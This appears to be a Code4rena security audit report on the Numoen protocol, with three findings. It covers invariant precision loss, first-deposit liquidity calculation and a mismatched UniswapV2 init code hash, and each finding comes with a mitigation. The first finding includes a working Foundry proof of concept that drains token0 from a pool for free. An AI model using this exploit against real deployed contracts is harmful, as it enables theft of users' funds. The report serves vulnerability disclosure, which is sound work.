Numoen contest - hansfriese's results

Lines of code

https://github.com/code-423n4/2023-01-numoen/blob/2ad9a73d793ea23a25a381faadc86ae0c8cb5913/src/core/Pair.sol#L56

Vulnerability details

Impact

An attacker can steal the funds without affecting the invariant.

Proof of Concept

We can say the function Pair.invariant() is the heart of the protocol. All the malicious trades should be prevented by this function.

Pair.sol
52:   /// @inheritdoc IPair
53:   function invariant(uint256 amount0, uint256 amount1, uint256 liquidity) public view override returns (bool) {
54:     if (liquidity == 0) return (amount0 == 0 && amount1 == 0);
55:
56:     uint256 scale0 = FullMath.mulDiv(amount0, 1e18, liquidity) * token0Scale;//@audit-info precison loss
57:     uint256 scale1 = FullMath.mulDiv(amount1, 1e18, liquidity) * token1Scale;//@audit-info precison loss
58:
59:     if (scale1 > 2 * upperBound) revert InvariantError();
60:
61:     uint256 a = scale0 * 1e18;
62:     uint256 b = scale1 * upperBound;
63:     uint256 c = (scale1 * scale1) / 4;
64:     uint256 d = upperBound * upperBound;
65:
66:     return a + b >= c + d;
67:   }

The problem is there is a precision loss in the L56 and L57. The precision loss can result in the wrong invariant check result. Let's say the token0 has 6 decimals and liquidity has more than 24 decimals. Then the first FullMath.mulDiv will cause significant rounding before it's converted to D18. To clarify the difference I wrote a custom function invariant() to see the actual value of a+b-c-d.

  function invariant(uint256 amount0, uint256 amount1, uint256 liquidity, uint256 token0Scale, uint256 token1Scale) public view returns (uint256 res) {
    if (liquidity == 0) {
        require (amount0 == 0 && amount1 == 0);
        return 0;
    }

    // uint256 scale0 = FullMath.mulDiv(amount0* token0Scale, 1e18, liquidity) ;
    // uint256 scale1 = FullMath.mulDiv(amount1* token1Scale, 1e18, liquidity) ;
    uint256 scale0 = FullMath.mulDiv(amount0, 1e18, liquidity) * token0Scale;
    uint256 scale1 = FullMath.mulDiv(amount1, 1e18, liquidity) * token1Scale;

    if (scale1 > 2 * upperBound) revert();

    uint256 a = scale0 * 1e18;
    uint256 b = scale1 * upperBound;
    uint256 c = (scale1 * scale1) / 4;
    uint256 d = upperBound * upperBound;

    res = a + b - c - d;
  }

  function testAudit1() external
  {
    uint256 x = 1*10**6;
    uint256 y = 2 * (5 * 10**24 - 10**21);
    uint256 liquidity = 10**24;
    uint256 token0Scale=10**12;
    uint256 token1Scale=1;
    emit log_named_decimal_uint("invariant", invariant(x, y, liquidity, token0Scale, token1Scale), 36);

    x = 1.5*10**6;
    emit log_named_decimal_uint("invariant", invariant(x, y, liquidity, token0Scale, token1Scale), 36);
  }

Put these two functions in the LiquidityManagerTest.t.sol and run the case. The result is as below and it shows that while the reserve0 amount changes to 150%, the actual value a+b-c-d does not change.

F:\SOL\Code\Code4rena\2023-01-numoen>forge test -vv --match-test testAudit1
[⠒] Compiling...
No files changed, compilation skipped

Running 1 test for test/LiquidityManagerTest.t.sol:LiquidityManagerTest
[PASS] testAudit1() (gas: 10361)
Logs:
  invariant: 0.000000000000000000000000000000000000
  invariant: 0.000000000000000000000000000000000000

Test result: ok. 1 passed; 0 failed; finished in 5.74ms

So what does this mean? We know that if a+b-c-d is positive, it means anyone can call swap() to withdraw the excess value. The above test shows that the significant change in the token0 reserve amount did not change the value a+b-c-d. Based on this, I wrote an attack case where dennis pulls 0.5*10**6 token0 without cost while the invariant stays at zero. Although the benefit is only 0.5 USDC for this test case, this shows a possibility drawing value without affecting the invariant for pools with low decimals.

  function testAttack() external
  {
    // token0 is USDC
    token0Scale = 6;
    token1Scale = 18;

    // cuh adds liquidity
    lendgine = Lendgine(factory.createLendgine(address(token0), address(token1), token0Scale, token1Scale, upperBound));

    uint256 amount0 = 1.5*10**6;
    uint256 amount1 = 2 * (5 * 10**24 - 10**21);
    uint256 liquidity = 10**24;

    token0.mint(cuh, amount0);
    token1.mint(cuh, amount1);

    vm.startPrank(cuh);
    token0.approve(address(liquidityManager), amount0);
    token1.approve(address(liquidityManager), amount1);

    liquidityManager.addLiquidity(
      LiquidityManager.AddLiquidityParams({
        token0: address(token0),
        token1: address(token1),
        token0Exp: token0Scale,
        token1Exp: token1Scale,
        upperBound: upperBound,
        liquidity: liquidity,
        amount0Min: amount0,
        amount1Min: amount1,
        sizeMin: 0,
        recipient: cuh,
        deadline: block.timestamp
      })
    );
    vm.stopPrank();
    showLendgineInfo();

    // dennis starts with zero token
    assertEq(token0.balanceOf(dennis), 0);

    // dennis pulls 0.5 USDC free
    lendgine.swap(
      dennis,
      5*10**5,
      0,
      abi.encode(
        SwapCallbackData({token0: address(token0), token1: address(token1), amount0: 0, amount1: 0, payer: dennis})
      )
    );

    showLendgineInfo();

    // assert
    assertEq(token0.balanceOf(dennis), 5*10**5);
  }

Tools Used

Foundry

Recommended Mitigation Steps

Make sure to multiply first before division to prevent precision loss.

  /// @inheritdoc IPair
  function invariant(uint256 amount0, uint256 amount1, uint256 liquidity) public view override returns (bool) {
    if (liquidity == 0) return (amount0 == 0 && amount1 == 0);

    uint256 scale0 = FullMath.mulDiv(amount0 * token0Scale, 1e18, liquidity) ;//@audit-info change here
    uint256 scale1 = FullMath.mulDiv(amount1 * token1Scale, 1e18, liquidity) ;//@audit-info change here

    if (scale1 > 2 * upperBound) revert InvariantError();

    uint256 a = scale0 * 1e18;
    uint256 b = scale1 * upperBound;
    uint256 c = (scale1 * scale1) / 4;
    uint256 d = upperBound * upperBound;

    return a + b >= c + d;
  }

Lines of code

https://github.com/code-423n4/2023-01-numoen/blob/2ad9a73d793ea23a25a381faadc86ae0c8cb5913/src/periphery/LiquidityManager.sol#L135

Vulnerability details

Impact

The first liquidity depositor should supply three input values amount0Min, amount1Min, liquidity via AddLiquidityParams but these three values should meet an accurate relationship, or else the depositor will suffer from revert or fund loss

Proof of Concept

The LPs are supposed to use the function LiquidityManager.addLiquidity(AddLiquidityParams calldata params) to add liquidity. When the pool is not empty, this function calculates the amount0, amount1 according to the current total liquidity and the requested liquidity. But when the pool is empty, these amounts are supposed to be provided by the caller.

LiquidityManager.sol

120:   struct AddLiquidityParams {
121:     address token0;
122:     address token1;
123:     uint256 token0Exp;
124:     uint256 token1Exp;
125:     uint256 upperBound;
126:     uint256 liquidity;
127:     uint256 amount0Min;
128:     uint256 amount1Min;
129:     uint256 sizeMin;
130:     address recipient;
131:     uint256 deadline;
132:   }
133:
134:   /// @notice Add liquidity to a liquidity position
135:   function addLiquidity(AddLiquidityParams calldata params) external payable checkDeadline(params.deadline) {
136:     address lendgine = LendgineAddress.computeAddress(
137:       factory, params.token0, params.token1, params.token0Exp, params.token1Exp, params.upperBound
138:     );
139:
140:     uint256 r0 = ILendgine(lendgine).reserve0();
141:     uint256 r1 = ILendgine(lendgine).reserve1();
142:     uint256 totalLiquidity = ILendgine(lendgine).totalLiquidity();
143:
144:     uint256 amount0;
145:     uint256 amount1;
146:
147:     if (totalLiquidity == 0) {
148:       amount0 = params.amount0Min;//@audit-info caller specifies the actual reserve amount
149:       amount1 = params.amount1Min;//@audit-info
150:     } else {
151:       amount0 = FullMath.mulDivRoundingUp(params.liquidity, r0, totalLiquidity);
152:       amount1 = FullMath.mulDivRoundingUp(params.liquidity, r1, totalLiquidity);
153:     }
154:
155:     if (amount0 < params.amount0Min || amount1 < params.amount1Min) revert AmountError();
156:
157:     uint256 size = ILendgine(lendgine).deposit(
158:       address(this),
159:       params.liquidity,
160:       abi.encode(
161:         PairMintCallbackData({
162:           token0: params.token0,
163:           token1: params.token1,
164:           token0Exp: params.token0Exp,
165:           token1Exp: params.token1Exp,
166:           upperBound: params.upperBound,
167:           amount0: amount0,
168:           amount1: amount1,
169:           payer: msg.sender
170:         })
171:       )
172:     );
173:     if (size < params.sizeMin) revert AmountError();
174:
175:     Position memory position = positions[params.recipient][lendgine]; // SLOAD
176:
177:     (, uint256 rewardPerPositionPaid,) = ILendgine(lendgine).positions(address(this));
178:     position.tokensOwed += FullMath.mulDiv(position.size, rewardPerPositionPaid - position.rewardPerPositionPaid, 1e18);
179:     position.rewardPerPositionPaid = rewardPerPositionPaid;
180:     position.size += size;
181:
182:     positions[params.recipient][lendgine] = position; // SSTORE
183:
184:     emit AddLiquidity(msg.sender, lendgine, params.liquidity, size, amount0, amount1, params.recipient);
185:   }

Then how does the caller decides these amount? These values should be chosen very carefully as we explain below.

The whole protocol is based on its invariant that is defined in Pair.invariant(). The invariant is actually ensuring that a+b-c-d stays not negative for all trades (interactions regarding reserve/liquidity). Once a+b-c-d becomes strictly positive, anyone can call swap() function to pull the token0 of that amount without any cost.

Pair.sol
52:   /// @inheritdoc IPair
53:   function invariant(uint256 amount0, uint256 amount1, uint256 liquidity) public view override returns (bool) {
54:     if (liquidity == 0) return (amount0 == 0 && amount1 == 0);
55:
56:     uint256 scale0 = FullMath.mulDiv(amount0, 1e18, liquidity) * token0Scale;
57:     uint256 scale1 = FullMath.mulDiv(amount1, 1e18, liquidity) * token1Scale;
58:
59:     if (scale1 > 2 * upperBound) revert InvariantError();
60:
61:     uint256 a = scale0 * 1e18;
62:     uint256 b = scale1 * upperBound;
63:     uint256 c = (scale1 * scale1) / 4;
64:     uint256 d = upperBound * upperBound;
65:
66:     return a + b >= c + d;//@audit-info if strict inequality holds, anyone can pull token0 using swap()
67:   }

So going back to the question, if the LP choose the values amount0, amount1, liquidity not accurately, the transaction reverts or a+b-c-d becomes greater than zero.

Generally, liquidity providers do not specify the desired liquidity amount in other protocols. During the conversation with the sponsor team, it is understood that they avoided the calculation of liquidity from amount0, amount1 because it is too complicated. Off-chain calculation will be necessary to help the situation, and this would limit the growth of the protocol. If any other protocol is going to integrate Numoen, they will face the same problem.

I did some calculation and got the formula for the liquidity as below.

$ L = \frac{PCy+C^2x+\sqrt{2PC^3xy+C^4x^2}}{2P^2} $ where $C=10^{18}$, $x$ is amount0, $y$ is amount1, $P$ is the upperBound, $L$ is the liquidity amount that should be used.

Because the LP will almost always suffer revert or fund loss without help of off-chain calculation, I submit this as a medium finding. I would like to note that there still exists a mitigation (not that crazy). As a side note, it would be very helpful to add new preview functions.

Tools Used

Manual Review

Recommended Mitigation Steps

Add a functionality to calculate the liquidity for the first deposit on-chain. And it is also recommended to add preview functions.

Lines of code

https://github.com/code-423n4/2023-01-numoen/blob/2ad9a73d793ea23a25a381faadc86ae0c8cb5913/src/periphery/UniswapV2/libraries/UniswapV2Library.sol#L27

Vulnerability details

Impact

An init code hash is used to calculate the address of UniswapV2 pair contract. But the init code hash is not same as the latest UniswapV2 repository.

Proof of Concept

UniswapV2Library.pairFor uses the following value as the init code hash of UniswapV2Pair.

    hex"e18a34eb0e04b04f7a0ac29a6e80748dca96319b42c54d679cb821dca90c6303" // init code hash

But it is different from the init code hash of the uniswap v2 repository.

I tested this using one of the top UniswapV2 pairs. DAI-USDC is in the third place here.

The token addresses are as follows:

DAI: 0x6B175474E89094C44Da98b954EedeAC495271d0F

USDC: 0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48

And the current UniswapV2Factory address is 0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f here.

The pair address calculated is 0x6983E2Da04353C31c7C42B0EA900a40B1D5bf845. And we can't find pair contract in the address.

So I think the old version of UniswapV2Factory and pair are used here. And it can cause a risk when liquidity is not enough for the pair.

Tools Used

Manual Review

Recommended Mitigation Steps

Integrate the latest version of UniswapV2.